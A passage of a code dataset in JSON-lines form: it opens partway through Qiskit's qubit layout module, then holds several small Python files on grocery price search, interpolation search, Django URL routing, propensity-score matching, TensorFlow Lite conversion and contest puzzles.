return self._p2v == other._p2v and self._v2p == other._v2p\n        return False\n\n    def copy(self):\n        \"\"\"Returns a copy of a Layout instance.\"\"\"\n        layout_copy = type(self)()\n\n        layout_copy._regs = self._regs.copy()\n        layout_copy._p2v = self._p2v.copy()\n        layout_copy._v2p = self._v2p.copy()\n\n        return layout_copy\n\n    def add(self, virtual_bit, physical_bit=None):\n        \"\"\"\n        Adds a map element between `bit` and `physical_bit`. If `physical_bit` is not\n        defined, `bit` will be mapped to a new physical bit.\n\n        Args:\n            virtual_bit (tuple): A (qu)bit. For example, (QuantumRegister(3, 'qr'), 2).\n            physical_bit (int): A physical bit. For example, 3.\n        \"\"\"\n        if physical_bit is None:\n            if len(self._p2v) == 0:\n                physical_bit = 0\n            else:\n                max_physical = max(self._p2v)\n                # Fill any gaps in the existing bits\n                for physical_candidate in range(max_physical):\n                    if physical_candidate not in self._p2v:\n                        physical_bit = physical_candidate\n                        break\n                # If there are no free bits in the allocated physical bits add new ones\n                else:\n                    physical_bit = max_physical + 1\n\n        self[virtual_bit] = physical_bit\n\n    def add_register(self, reg):\n        \"\"\"Adds at the end physical_qubits that map each bit in reg.\n\n        Args:\n            reg (Register): A (qu)bit Register. For example, QuantumRegister(3, 'qr').\n        \"\"\"\n        self._regs.append(reg)\n        for bit in reg:\n            if bit not in self:\n                self.add(bit)\n\n    def get_registers(self):\n        \"\"\"\n        Returns the registers in the layout [QuantumRegister(2, 'qr0'), QuantumRegister(3, 'qr1')]\n        Returns:\n            Set: A set of Registers in the layout\n        \"\"\"\n        return set(self._regs)\n\n    def get_virtual_bits(self):\n        \"\"\"\n        Returns the dictionary where the keys are virtual (qu)bits and the\n        values are physical (qu)bits.\n        \"\"\"\n        return self._v2p\n\n    def get_physical_bits(self):\n        \"\"\"\n        Returns the dictionary where the keys are physical (qu)bits and the\n        values are virtual (qu)bits.\n        \"\"\"\n        return self._p2v\n\n    def swap(self, left, right):\n        \"\"\"Swaps the map between left and right.\n\n        Args:\n            left (tuple or int): Item to swap with right.\n            right (tuple or int): Item to swap with left.\n        Raises:\n            LayoutError: If left and right have not the same type.\n        \"\"\"\n        if type(left) is not type(right):\n            raise LayoutError(\"The method swap only works with elements of the same type.\")\n        temp = self[left]\n        self[left] = self[right]\n        self[right] = temp\n\n    def combine_into_edge_map(self, another_layout):\n        \"\"\"Combines self and another_layout into an \"edge map\".\n\n        For example::\n\n              self       another_layout  resulting edge map\n           qr_1 -> 0        0 <- q_2         qr_1 -> q_2\n           qr_2 -> 2        2 <- q_1         qr_2 -> q_1\n           qr_3 -> 3        3 <- q_0         qr_3 -> q_0\n\n        The edge map is used to compose dags via, for example, compose.\n\n        Args:\n            another_layout (Layout): The other layout to combine.\n        Returns:\n            dict: A \"edge map\".\n        Raises:\n            LayoutError: another_layout can be bigger than self, but not smaller.\n                Otherwise, raises.\n        \"\"\"\n        edge_map = {}\n\n        for virtual, physical in self._v2p.items():\n            if physical not in another_layout._p2v:\n                raise LayoutError(\n                    \"The wire_map_from_layouts() method does not support when the\"\n                    \" other layout (another_layout) is smaller.\"\n                )\n            edge_map[virtual] = another_layout[physical]\n\n        return edge_map\n\n    def reorder_bits(self, bits) -> list[int]:\n        \"\"\"Given an ordered list of bits, reorder them according to this layout.\n\n        The list of bits must exactly match the virtual bits in this layout.\n\n        Args:\n            bits (list[Bit]): the bits to reorder.\n\n        Returns:\n            List: ordered bits.\n        \"\"\"\n        order = [0] * len(bits)\n\n        # the i-th bit is now sitting in position j\n        for i, v in enumerate(bits):\n            j = self[v]\n            order[i] = j\n\n        return order\n\n    @staticmethod\n    def generate_trivial_layout(*regs):\n        \"\"\"Creates a trivial (\"one-to-one\") Layout with the registers and qubits in `regs`.\n\n        Args:\n            *regs (Registers, Qubits): registers and qubits to include in the layout.\n        Returns:\n            Layout: A layout with all the `regs` in the given order.\n        \"\"\"\n        layout = Layout()\n        for reg in regs:\n            if isinstance(reg, QuantumRegister):\n                layout.add_register(reg)\n            else:\n                layout.add(reg)\n        return layout\n\n    @staticmethod\n    def from_intlist(int_list, *qregs):\n        \"\"\"Converts a list of integers to a Layout\n        mapping virtual qubits (index of the list) to\n        physical qubits (the list values).\n\n        Args:\n            int_list (list): A list of integers.\n            *qregs (QuantumRegisters): The quantum registers to apply\n                the layout to.\n        Returns:\n            Layout: The corresponding Layout object.\n        Raises:\n            LayoutError: Invalid input layout.\n        \"\"\"\n        if not all(isinstanceint(i) for i in int_list):\n            raise LayoutError(\"Expected a list of ints\")\n        if len(int_list) != len(set(int_list)):\n            raise LayoutError(\"Duplicate values not permitted; Layout is bijective.\")\n        num_qubits = sum(reg.size for reg in qregs)\n        # Check if list is too short to cover all qubits\n        if len(int_list) != num_qubits:\n            raise LayoutError(\n                f\"Integer list length ({len(int_list)}) must equal number of qubits \"\n                f\"in circuit ({num_qubits}): {int_list}.\"\n            )\n        out = Layout()\n        main_idx = 0\n        for qreg in qregs:\n            for idx in range(qreg.size):\n                out[qreg[idx]] = int_list[main_idx]\n                main_idx += 1\n            out.add_register(qreg)\n        if main_idx != len(int_list):\n            for int_item in int_list[main_idx:]:\n                out[int_item] = None\n        return out\n\n    @staticmethod\n    def from_qubit_list(qubit_list, *qregs):\n        \"\"\"\n        Populates a Layout from a list containing virtual\n        qubits, Qubit or None.\n\n        Args:\n            qubit_list (list):\n                e.g.: [qr[0], None, qr[2], qr[3]]\n            *qregs (QuantumRegisters): The quantum registers to apply\n                the layout to.\n        Returns:\n            Layout: the corresponding Layout object\n        Raises:\n            LayoutError: If the elements are not Qubit or None\n        \"\"\"\n        out = Layout()\n        for physical, virtual in enumerate(qubit_list):\n            if virtual is None:\n                continue\n            if isinstance(virtual, Qubit):\n                if virtual in out._v2p:\n                    raise LayoutError(\"Duplicate values not permitted; Layout is bijective.\")\n                out[virtual] = physical\n            else:\n                raise LayoutError(\"The list should contain elements of the Bits or NoneTypes\")\n        for qreg in qregs:\n            out.add_register(qreg)\n        return out\n\n\n@dataclass\nclass TranspileLayout:\n    r\"\"\"Layout attributes from output circuit from transpiler.\n\n    The transpiler in general is unitary-perserving up to permutations caused\n    by setting and applying initial layout during the :ref:`layout_stage`\n    and :class:`~.SwapGate` insertion during the :ref:`routing_stage`. To\n    provide an interface to reason about these permutations caused by\n    the :mod:`~qiskit.transpiler`. In general the normal interface to access\n    and reason about the layout transformations made by the transpiler is to\n    use the helper methods defined on this class.\n\n    For example, looking at the initial layout, the transpiler can potentially\n    remap the order of the qubits in your circuit as it fits the circuit to\n    the target backend. If the input circuit was:\n\n    .. plot:\n       :include-source:\n\n       from qiskit.circuit import QuantumCircuit, QuantumRegister\n\n       qr = QuantumRegister(3, name=\"MyReg\")\n       qc = QuantumCircuit(qr)\n       qc.h(0)\n       qc.cx(0, 1)\n       qc.cx(0, 2)\n       qc.draw(\"mpl\")\n\n    Then during the layout stage the transpiler reorders the qubits to be:\n\n    .. plot:\n       :include-source:\n\n       from qiskit import QuantumCircuit\n\n       qc = QuantumCircuit(3)\n       qc.h(2)\n       qc.cx(2, 1)\n       qc.cx(2, 0)\n       qc.draw(\"mpl\")\n\n    then the output of the :meth:`.initial_virtual_layout` would be\n    equivalent to::\n\n        Layout({\n            qr[0]: 2,\n            qr[1]: 1,\n            qr[2]: 0,\n        })\n\n    (it is also this attribute in the :meth:`.QuantumCircuit.draw` and\n    :func:`.circuit_drawer` which is used to display the mapping of qubits to\n    positions in circuit visualizations post-transpilation)\n\n    Building on this above example for final layout, if the transpiler needed to\n    insert swap gates during routing so the output circuit became:\n\n    .. plot:\n       :include-source:\n\n       from qiskit import QuantumCircuit\n\n       qc = QuantumCircuit(3)\n       qc.h(2)\n       qc.cx(2, 1)\n       qc.swap(0, 1)\n       qc.cx(2, 1)\n       qc.draw(\"mpl\")\n\n    then the output of the :meth:`routing_permutation` method would be::\n\n        [1, 0, 2]\n\n    which maps the qubits at each position to their final position after any swap\n    insertions caused by routing.\n\n    There are three public attributes associated with the class, however these\n    are mostly provided for backwards compatibility and represent the internal\n    state from the transpiler. They are defined as:\n\n      * :attr:`initial_layout` - This attribute is used to model the\n        permutation caused by the :ref:`layout_stage` it contains a\n        :class:`~.Layout` object that maps the input :class:`~.QuantumCircuit`\\s\n        :class:`~.circuit.Qubit` objects to the position in the output\n        :class:`.QuantumCircuit.qubits` list.\n      * :attr:`input_qubit_mapping` - This attribute is used to retain\n        input ordering of the original :class:`~.QuantumCircuit` object. It\n        maps the virtual :class:`~.circuit.Qubit` object from the original circuit\n        (and :attr:`initial_layout`) to its corresponding position in\n        :attr:`.QuantumCircuit.qubits` in the original circuit. This\n        is needed when computing the permutation of the :class:`Operator` of\n        the circuit (and used by :meth:`.Operator.from_circuit`).\n      * :attr:`final_layout` - This is a :class:`~.Layout` object used to\n        model the output permutation caused ny any :class:`~.SwapGate`\\s\n        inserted into the :class:`~.QuantumCircuit` during the\n        :ref:`routing_stage`. It maps the output circuit's qubits from\n        :class:`.QuantumCircuit.qubits` in the output circuit to the final\n        position after routing. It is **not** a mapping from the original\n        input circuit's position to the final position at the end of the\n        transpiled circuit. If you need this you can use the\n        :meth:`.final_index_layout` to generate this. If this is set to ``None``\n        this indicates that routing was not run and it can be considered\n        equivalent to a trivial layout with the qubits from the output circuit's\n        :attr:`~.QuantumCircuit.qubits` list.\n    \"\"\"\n\n    initial_layout: Layout\n    input_qubit_mapping: dict[circuit.Qubit, int]\n    final_layout: Layout | None = None\n    _input_qubit_count: int | None = None\n    _output_qubit_list: List[Qubit] | None = None\n\n    def initial_virtual_layout(self, filter_ancillas: bool = False) -> Layout:\n        \"\"\"Return a :class:`.Layout` object for the initial layout.\n\n        This returns a mapping of virtual :class:`~.circuit.Qubit` objects in the input\n        circuit to the physical qubit selected during layout. This is analogous\n        to the :attr:`.initial_layout` attribute.\n\n        Args:\n            filter_ancillas: If set to ``True`` only qubits in the input circuit\n                will be in the returned layout. Any ancilla qubits added to the\n                output circuit will be filtered from the returned object.\n        Returns:\n            A layout object mapping the input circuit's :class:`~.circuit.Qubit`\n            objects to the selected physical qubits.\n        \"\"\"\n        if not filter_ancillas:\n            return self.initial_layout\n        return Layout(\n            {\n                k: v\n                for k, v in self.initial_layout.get_virtual_bits().items()\n                if self.input_qubit_mapping[k] < self._input_qubit_count\n            }\n        )\n\n    def initial_index_layout(self, filter_ancillas: bool = False) -> List[int]:\n        \"\"\"Generate an initial layout as an array of integers\n\n        Args:\n            filter_ancillas: If set to ``True`` any ancilla qubits added\n                to the transpiler will not be included in the output.\n\n        Return:\n            A layout array that maps a position in the array to its new position in the output\n            circuit.\n        \"\"\"\n\n        virtual_map = self.initial_layout.get_virtual_bits()\n        if filter_ancillas:\n            output = [None] * self._input_qubit_count\n        else:\n            output = [None] * len(virtual_map)\n        for index, (virt, phys) in enumerate(virtual_map.items()):\n            if filter_ancillas and index >= self._input_qubit_count:\n                break\n            pos = self.input_qubit_mapping[virt]\n            output[pos] = phys\n        return output\n\n    def routing_permutation(self) -> List[int]:\n        \"\"\"Generate a final layout as an array of integers\n\n        If there is no :attr:`.final_layout` attribute present then that indicates\n        there was no output permutation caused by routing or other transpiler\n        transforms. In this case the function will return a list of ``[0, 1, 2, .., n]``\n        to indicate this\n\n        Returns:\n            A layout array that maps a position in the array to its new position in the output\n            circuit\n        \"\"\"\n        if self.final_layout is None:\n            return list(range(len(self._output_qubit_list)))\n        virtual_map = self.final_layout.get_virtual_bits()\n        return [virtual_map[virt] for virt in self._output_qubit_list]\n\n    def final_index_layout(self, filter_ancillas: bool = True) -> List[int]:\n        \"\"\"Generate the final layout as an array of integers\n\n        This method will generate an array of final positions for each qubit in the output circuit.\n        For example, if you had an input circuit like::\n\n            qc = QuantumCircuit(3)\n            qc.h(0)\n            qc.cx(0, 1)\n            qc.cx(0, 2)\n\n        and the output from the transpiler was::\n\n            tqc = QuantumCircuit(3)\n            qc.h(2)\n            qc.cx(2, 1)\n            qc.swap(0, 1)\n            qc.cx(2, 1)\n\n        then the return from this function would be a list of::\n\n            [2, 0, 1]\n\n        because qubit 0 in the original circuit's final state is on qubit 3 in the output circuit,\n        qubit 1 in the original circuit's final state is on qubit 0, and qubit 2's final state is\n        on qubit. The output list length will be as wide as the input circuit's number of qubits,\n        as the output list from this method is for tracking the permutation of qubits in the\n        original circuit caused by the transpiler.\n\n        Args:\n            filter_ancillas: If set to ``False`` any ancillas allocated in the output circuit will be\n                included in the layout.\n\n        Returns:\n            A list of final positions for each input circuit qubit\n        \"\"\"\n        if self._input_qubit_count is None:\n            # TODO: After there is a way to differentiate the ancilla qubits added by the transpiler\n            # don't use the ancilla name anymore.See #10817 for discussion on this.\n            num_source_qubits = len(\n                [\n                    x\n                    for x in self.input_qubit_mapping\n                    if getattr(x, \"_register\", \"\").startswith(\"ancilla\")\n                ]\n            )\n        else:\n            num_source_qubits = self._input_qubit_count\n        if self._output_qubit_list is None:\n            circuit_qubits = list(self.final_layout.get_virtual_bits())\n        else:\n            circuit_qubits = self._output_qubit_list\n\n        pos_to_virt = {v: k for k, v in self.input_qubit_mapping.items()}\n        qubit_indices = []\n        if filter_ancillas:\n            num_qubits = num_source_qubits\n        else:\n            num_qubits = len(self._output_qubit_list)\n        for index in range(num_qubits):\n            qubit_idx = self.initial_layout[pos_to_virt[index]]\n            if self.final_layout is not None:\n                qubit_idx = self.final_layout[circuit_qubits[qubit_idx]]\n            qubit_indices.append(qubit_idx)\n        return qubit_indices\n\n    def final_virtual_layout(self, filter_ancillas: bool = True) -> Layout:\n        \"\"\"Generate the final layout as a :class:`.Layout` object\n\n        This method will generate an array of final positions for each qubit in the output circuit.\n        For example, if you had an input circuit like::\n\n            qc = QuantumCircuit(3)\n            qc.h(0)\n            qc.cx(0, 1)\n            qc.cx(0, 2)\n\n        and the output from the transpiler was::\n\n            tqc = QuantumCircuit(3)\n            qc.h(2)\n            qc.cx(2, 1)\n            qc.swap(0, 1)\n            qc.cx(2, 1)\n\n        then the return from this function would be a layout object::\n\n            Layout({\n                qc.qubits[0]: 2,\n                qc.qubits[1]: 0,\n                qc.qubits[2]: 1,\n            })\n\n        because qubit 0 in the original circuit's final state is on qubit 3 in the output circuit,\n        qubit 1 in the original circuit's final state is on qubit 0, and qubit 2's final state is\n        on qubit. The output list length will be as wide as the input circuit's number of qubits,\n        as the output list from this method is for tracking the permutation of qubits in the\n        original circuit caused by the transpiler.\n\n        Args:\n            filter_ancillas: If set to ``False`` any ancillas allocated in the output circuit will be\n                included in the layout.\n\n        Returns:\n            A layout object mapping to the final positions for each qubit\n        \"\"\"\n        res = self.final_index_layout(filter_ancillas=filter_ancillas)\n        pos_to_virt = {v: k for k, v in self.input_qubit_mapping.items()}\n        return Layout({pos_to_virt[index]: phys for index, phys in enumerate(res)})\n","repo_name":"Qiskit/qiskit","sub_path":"qiskit/transpiler/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":23340,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"43445759920","text":"import pandas as pd\nfrom rapidfuzz import fuzz\nfrom rapidfuzz import process\n\ndf = pd.read_csv('all_product_prices.csv')\ndf = df.drop_duplicates()\nproduct_names = df['product']\n\n#print(product_names.head())\nprod_list = product_names.to_list()\n\n#print(type(product_names))\nsearch_term = input(\"What product do you want to buy?\\n\")\n#search_term = search.lower()\n\nmatches = process.extract(search_term, prod_list, limit = 200, scorer = fuzz.partial_token_sort_ratio)\n\nsearch_results = []\nfor match in matches:\n    if match[1] >= 80:\n        search_results.append(match[0])\n\nprod_results = []\nfor prod in search_results:\n    prod_info = df.loc[df['product'] == prod]\n    product = prod_info['product'].to_list()\n    price = prod_info['price'].to_list()\n    store = prod_info['store'].to_list()\n    prod_tuple = (product[0], price[0], store[0])\n    prod_results.append(prod_tuple)\n\n#print(prod_results)\ndef merge_sort(lst):\n    if len(lst) == 1:\n        return lst\n    elif len(lst) == 2:\n        if lst[0][1] > lst[1][1]:\n            lst[0], lst[1] = lst[1], lst[0]\n        return lst\n    \n    left = lst[:len(lst)//2]\n    right = lst[len(lst)//2:]\n\n    merge_sort(left)\n    merge_sort(right)\n\n    lst = merge(lst, left, right)\n\n    return lst\n\ndef merge(arr, left, right):\n    i = 0\n    j = 0\n    k = 0\n    while i < len(arr):\n        if j >= len(left):\n            arr[i] = right[k]\n            k += 1\n        elif k >= len(right):\n            arr[i] = left[j]\n            j+=1\n        elif left[j][1] > right[k][1]:\n            arr[i] = right[k]\n            k += 1\n        elif left[j][1] <= right[k][1]:\n            arr[i] = left[j]\n            j += 1 \n        i += 1\n    return arr\nsorted = merge_sort(prod_results)\n\nprint(\"\\nHere are the cheapest items matching your search:\\n\")\n\ni = 1\nfor prod in sorted[:20]:\n    print(f'{i}. {prod[0]} priced at ${prod[1]}, from {prod[2]}.')\n    i+=1\n","repo_name":"msaad-a/cheapest-groceries","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22025211994","text":"def interpolation_search(list_, item):\n    \"\"\"\n    :param list_: list to be searched\n    :param item: element to be searched for\n    :return: True if element is in list else False\n    \"\"\"\n    idx0 = 0\n    idxn = (len(list_) - 1)\n    while idx0 < idxn and list_[idx0] <= item <= list_[idxn]:\n        # Find the Mid Point\n        mid = idx0 + int(((float(idxn - idx0) / (list_[idxn] - list_[idx0])) * (item - list_[idx0])))\n        # Compare the value at the mid point with the search item value\n        if list_[mid] == item:\n            return True\n        if list_[mid] < item:\n            idx0 = mid + 1\n    return False\n","repo_name":"francis-eudy/sorting-and-searching-algorithms","sub_path":"interpolation_search.py","file_name":"interpolation_search.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14483447297","text":"from __future__ import unicode_literals\n\nfrom django.conf.urls import include, url\nfrom stackdio.api.volumes import api\nfrom stackdio.core import routers\n\nmodel_router = routers.SimpleBulkRouter()\nmodel_router.register(r'users',\n                      api.VolumeModelUserPermissionsViewSet,\n                      'volume-model-user-permissions')\nmodel_router.register(r'groups',\n                      api.VolumeModelGroupPermissionsViewSet,\n                      'volume-model-group-permissions')\n\n\nobject_router = routers.SimpleBulkRouter()\nobject_router.register(r'users',\n                       api.VolumeObjectUserPermissionsViewSet,\n                       'volume-object-user-permissions')\nobject_router.register(r'groups',\n                       api.VolumeObjectGroupPermissionsViewSet,\n                       'volume-object-group-permissions')\n\n\nurlpatterns = (\n    url(r'^$',\n        api.VolumeListAPIView.as_view(),\n        name='volume-list'),\n\n    url(r'^permissions/',\n        include(model_router.urls)),\n\n    url(r'^(?P<pk>[0-9]+)/$',\n        api.VolumeDetailAPIView.as_view(),\n        name='volume-detail'),\n\n    url(r'^(?P<parent_pk>[0-9]+)/permissions/',\n        include(object_router.urls)),\n)\n","repo_name":"stackdio/stackdio","sub_path":"stackdio/api/volumes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"}
+{"seq_id":"26536345016","text":"from typing import Any, Dict, List\n\nfrom numpy import random\nfrom pandas import DataFrame, Series\nfrom tqdm import tqdm\n\n\nclass ObsMatcher:\n    def __init__(self, n_matches: int, caliper: float):\n        \"\"\"\n            create_match_df method -- finds similar observations and match between intervention and control\n            Parameters\n            ----------\n            n_matches : int\n                label_col the number of n controls for each minor class (intervention group)\n            caliper : float\n                label_col the minimal distance for matching between intervention and control\n            :return\n                matched Dataframe\n        \"\"\"\n        self.n_matches = n_matches\n        self.caliper = caliper\n\n    def create_matches_table(self, match_ids: Dict[str, List[Any]]) -> DataFrame:\n        col_names: List[str] = [f\"matched_{i}\" for i in range(1, self.n_matches + 1)]\n        print(\n            f'please note:'\n            f'the matched dataset contains {len(match_ids)} observations from minority class'\n            )\n        return DataFrame(match_ids.values(), index=match_ids.keys(), columns=col_names)\n\n    def match_scores(self, p_scores: Series, label: Series) -> List[int]:\n        intervention_group: Series = p_scores[label]\n        control_group: Series = p_scores[~label]\n        match_ids = {}\n        print('starting matching process, this might take a time')\n        for index, score in tqdm(intervention_group.items(), total=len(intervention_group)):\n            matches: Series = abs(control_group - score)\n            matches_in_caliper: Series = matches[matches <= self.caliper]\n            select: int = min(len(matches_in_caliper), self.n_matches)\n            if select > 0:\n                chosen: List[int] = random.choice(matches_in_caliper.index, select, replace=False).tolist()\n                match_ids.update({index: chosen})\n                control_group: Series = control_group.drop(index=chosen)\n\n        matched_table: DataFrame = self.create_matches_table(match_ids)\n        return matched_table.reset_index().melt()[\"value\"].to_list()\n","repo_name":"Riskified/ps-matching","sub_path":"src/find_similarities.py","file_name":"find_similarities.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"30358972036","text":"import tensorflow as tf\nimport numpy as np\n\nW=tf.Variable(initial_value=tf.random_normal([1]), name='weight',trainable=True)\nb=tf.Variable(initial_value=0.001,name='bias',trainable=True)\n\nx=tf.placeholder(dtype=tf.float32, shape=[1],name='x')\ny=tf.add(tf.multiply(W,x),b,name='output')\ninit=tf.global_variables_initializer()\nsaver=tf.train.Saver()\nsave_path=\"/home/\"\nmodel_save=save_path+\"saved_model.ckpt\"\n#TensorFlow session\nwith tf.Session() as sess:\n    sess.run(init) #initialising the variables\n    op=sess.run(y, feed_dict={x: np.reshape(1.5,[1])}) #sample run(optional)\n    saver.save(sess,model_save) #saving the model\n    tf.train.write_graph(sess.graph_def, save_path, 'saved_model.pbtxt')\n\n\n\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.tools import freeze_graph\n\nsave_path=\"/home/\"\nMODEL_NAME = 'Sample_model' #name of the model optional\ninput_graph_path = save_path+'saved_model.pbtxt'#complete path to the input graph\ncheckpoint_path = save_path+'saved_model.ckpt' #complete path to the model's checkpoint file\ninput_saver_def_path = \"\"\ninput_binary = False\noutput_node_names = \"output\" #output node's name. Should match to that mentioned in your code\nrestore_op_name = \"save/restore_all\"\nfilename_tensor_name = \"save/Const:0\"\noutput_frozen_graph_name = save_path+'saved_model'+'.pb' # the name of .pb file you would like to give\nclear_devices = True\n\nfreeze_graph.freeze_graph(input_graph_path, input_saver_def_path,\n                          input_binary, checkpoint_path, output_node_names,\n                          restore_op_name, filename_tensor_name,\n                          output_frozen_graph_name, clear_devices, \"\")    \n\nsaved_model_dir = '/home'\nconverter = tf.lite.TFLiteConverter.from_saved_model(saved_model_dir)\ntflite_model = converter.convert()\nopen(\"converted_model.tflite\", \"wb\").write(tflite_model)\n","repo_name":"callyou2mind/tensorflow","sub_path":"tf_lite_sample.py","file_name":"tf_lite_sample.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13049446286","text":"\"\"\"\n백준 16235. 나무재테크\nblog : https://daimhada.tistory.com/114\nproblem : https://www.acmicpc.net/problem/16235\n\"\"\"\nimport sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\ntree_count = 0\n\ndef solve(board, nutritions, tree_dict, k):\n    \"\"\"\n    :param board : field\n    :param nutritions: given nutritions\n    :param tree_dict: tree's data\n    :param k: year\n    :return: remained tree's count\n    \"\"\"\n    global tree_count\n    year = 0\n    dr = [-1, -1, -1, 0, 0, 1, 1, 1]\n    dc = [-1, 0, 1, -1, 1, -1, 0, 1]\n\n    while year < k:\n\n        # spring, summer, winter\n        for i in range(n*n):\n            r = i // n\n            c = i % n\n\n            nutrition = board[r][c]\n            add_nutrition = 0\n            trees = tree_dict[(r, c)]\n\n            # If there is no tree planted, it will only supply nutrients.\n            if not trees:\n                add_nutrition += nutritions[r][c]\n                add_nutrition += nutrition\n                board[r][c] = add_nutrition\n                continue\n\n            cnt = len(trees)\n            temp_trees = []\n            # spring & summer\n            while 0 < cnt:\n                tree = trees.pop()\n                checked = nutrition - tree\n                # check if nutrients remain\n                if 0 <= checked:\n                    nutrition -= tree\n                    temp_trees.append(tree + 1)\n                else:\n                    # 유효하지 않으므로, 나무 죽이기\n                    add_nutrition += (tree // 2)\n                    tree_count -= 1\n                cnt -= 1\n            # 성장한 나무들을 기존 배열에 추가해준다\n            trees.extend(temp_trees)\n\n            if 1 < len(trees):\n                trees.sort(reverse= True)\n\n            # winter\n            add_nutrition += nutritions[r][c]\n            add_nutrition += nutrition\n            board[r][c] = add_nutrition\n\n        # autumn\n        for key, value in tree_dict.items():\n            spread_tree_count = 0\n            if len(value) == 0:\n                continue\n\n            for i in value:\n                # if the oldest tree is less than 5, break\n                if i < 5:\n                    break\n                if i % 5 == 0:\n                    spread_tree_count += 1\n\n            if spread_tree_count > 0:\n                r, c = key\n            for d in range(8):\n                temp_r = r + dr[d]\n                temp_c = c + dc[d]\n                if 0 <= temp_r < n and 0 <= temp_c < n:\n                    # breed Tree\n                    tree_count += spread_tree_count\n                    tree_dict[(temp_r, temp_c)].extend([1]*spread_tree_count)\n        # add year\n        year += 1\n    print(tree_count)\n    return tree_count\n\nif __name__ == \"__main__\":\n    n, m, k = map(int, input().split())\n    nutritions = []\n    board = [[5]*n for _ in range(n)]\n\n    for i in range(n):\n        nutritions.append(list(map(int, input().split())))\n\n    # Store the trees(age) in dict, key is position\n    tree_dict = defaultdict(lambda :[])\n    for t in range(m):\n        r, c, old = map(int, input().strip().split())\n        tree_dict[(r-1,c-1)].append(old)\n        tree_count += 1\n    solve(board, nutritions, tree_dict, k)\n","repo_name":"histuckyi/algorithm","sub_path":"acmicpc/16235.py","file_name":"16235.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72384171280","text":"def is_valid(pos, size):\n    row = pos[0]\n    col = pos[1]\n    return 0 <= row < size and 0 <= col < size\n\n\ndef get_killed_knights(row, col, size, board):\n    killed_knights = 0\n    rows = [-2, -1, 1, 2, 2, 1, -1, -2]\n    cols = [1, 2, 2, 1, -1, -2, -2, -1]\n    for i in range(8):\n        current_pos = [row + rows[i], col + cols[i]]\n        if is_valid(current_pos, size) and board[current_pos[0]][current_pos[1]] == \"K\":\n            killed_knights += 1\n    return killed_knights\n\n\nn = int(input())\nboard = []\ntotal_kills = 0\n\nfor _ in range(n):\n    board.append([x for x in input()])\n\nwhile True:\n    most_kills = 0\n    to_kill = []\n\n    for row in range(n):\n        for col in range(n):\n            if board[row][col] == \"K\":\n                killed_knights = get_killed_knights(row, col, n, board)\n                if killed_knights > most_kills:\n                    most_kills = killed_knights\n                    to_kill = [row, col]\n\n    if most_kills == 0:\n        break\n\n    to_kill_row = to_kill[0]\n    to_kill_col = to_kill[1]\n    board[to_kill_row][to_kill_col] = \"0\"\n    total_kills += 1\n\nprint(total_kills)\n\n\n#### Some other solution ####\n\n# def check_if_other_K(i, j, board):  # count for each possible moves on 'L' pattern of this K how many K can reach\n#     count = 0\n#     if (i - 2 >= 0 and j + 1 < board_size and board[i - 2][j + 1] == 'K'):\n#         count += 1\n#     if (i - 2 >= 0 and j - 1 >= 0 and board[i - 2][j - 1] == 'K'):\n#         count += 1\n#     if (i - 1 >= 0 and j + 2 < board_size and board[i - 1][j + 2] == 'K'):\n#         count += 1\n#     if (i - 1 >= 0 and j - 2 >= 0 and board[i - 1][j - 2] == 'K'):\n#         count += 1\n#     if (i + 2 < board_size and j + 1 < board_size and board[i + 2][j + 1] == 'K'):\n#         count += 1\n#     if (i + 2 < board_size and j - 1 >= 0 and board[i + 2][j - 1] == 'K'):\n#         count += 1\n#     if (i + 1 < board_size and j + 2 < board_size and board[i + 1][j + 2] == 'K'):\n#         count += 1\n#     if (i + 1 < board_size and j - 2 >= 0 and board[i + 1][j - 2] == 'K'):\n#         count += 1\n#     return count\n#\n# board_size = int(input())\n#\n# board = [list(input()) for i in range(board_size)]\n#\n# removed = 0\n# while True:\n#\n#     K_list = []\n#\n#     for i in range(board_size):\n#         for j in range(board_size):\n#             if board[i][j] == 'K':\n#                 count = check_if_other_K(i, j, board)\n#                 if count > 0:\n#                     K_list.append([count, i, j])  # makes a list with count of reachable Ks and its coordinates\n#\n#     if not K_list: # if list is empty, end of checking loops\n#         break\n#\n#     K_list = sorted(K_list, key= lambda x: -x[0])  # sort the K by the most \"dangerous\"\n#\n#     i, j = K_list[0][1], K_list[0][2]  # get the most \"dangerous\" K coordinates\n#     board[i][j] = '0'  # remove this K\n#     removed += 1  # increment the number of removed K\n#\n# print(removed)","repo_name":"dechevh/Python-Advanced","sub_path":"Multidimensional-Arrays/knight_game.py","file_name":"knight_game.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26462227354","text":"# https://open.kattis.com/problems/oddmanout\n\nimport sys\n\ndef case(G):\n    gs = sys.stdin.readline().split()\n    gs.sort()\n\n    for i in range(int(len(gs) / 2)):\n        if(gs[2*i] != gs[2*i + 1]):\n            return gs[2*i]\n    \n    return gs[len(gs) - 1]\n\nN = int(input())\nfor i in range(N):\n    G = int(input())\n    print(\"Case #\" + str(i + 1) + \": \" + str(case(G)))","repo_name":"yifeng-pan/competitive_programming","sub_path":"kattis/solutions/oddmanout.py","file_name":"oddmanout.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
